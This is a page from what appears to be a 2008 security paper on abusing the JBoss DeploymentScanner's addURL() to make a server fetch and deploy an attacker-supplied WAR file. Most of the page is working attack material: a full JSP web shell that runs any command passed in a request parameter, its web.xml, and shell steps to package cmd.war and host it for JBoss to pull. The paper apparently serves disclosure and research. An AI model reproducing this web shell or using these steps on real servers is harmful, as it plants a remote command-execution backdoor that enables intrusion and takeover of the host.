Page 4 of 6 28.02.2008 n.runs AG
3. Deploy a web application
In order to deploy new applications on the application server, it is only necessary to configure
the DeploymentScanner by adding a new URL with a customized WAR (Web ARchive) file.
The DeploymentScanner
2
regularly checks the configured URLs for new applications to
deploy. By default it only checks the URL
file:/[JBOSSHOME]/server/default/deploy/
, but
with the addURL() command, it is possible to add a new URL with an application. Jboss will
get the application from this URL. The next step is to wait for the DeploymentScanner to run
the next time (usually about one minute), and access the new application.
3.1. The web application
It is necessary to create a WAR file with WEB-INF a JSP to execute system commands.
Here is a short example:
$ echo 'The JSP to execute the commands'
$ cat >cmd.jsp
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
$ echo 'The web.xml file in the WEB-INF directory configures the web application'
$ mkdir WEB-INF
$ cat >WEB-INF/web.xml
<?xml version="1.0" ?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<servlet>
<servlet-name>Command</servlet-name>
<jsp-file>/cmd.jsp</jsp-file>
</servlet>
</web-app>
$ echo 'Now put it into the WAR file'
$ jar cvf cmd.war WEB-INF cmd.jsp
$ echo 'Copy it on a web server where the Jboss server can get it'
$ cp cmd.war /var/www/localhost/htdocs/
2
http://wiki.jboss.org/wiki/Wiki.jsp?page=DeploymentScanner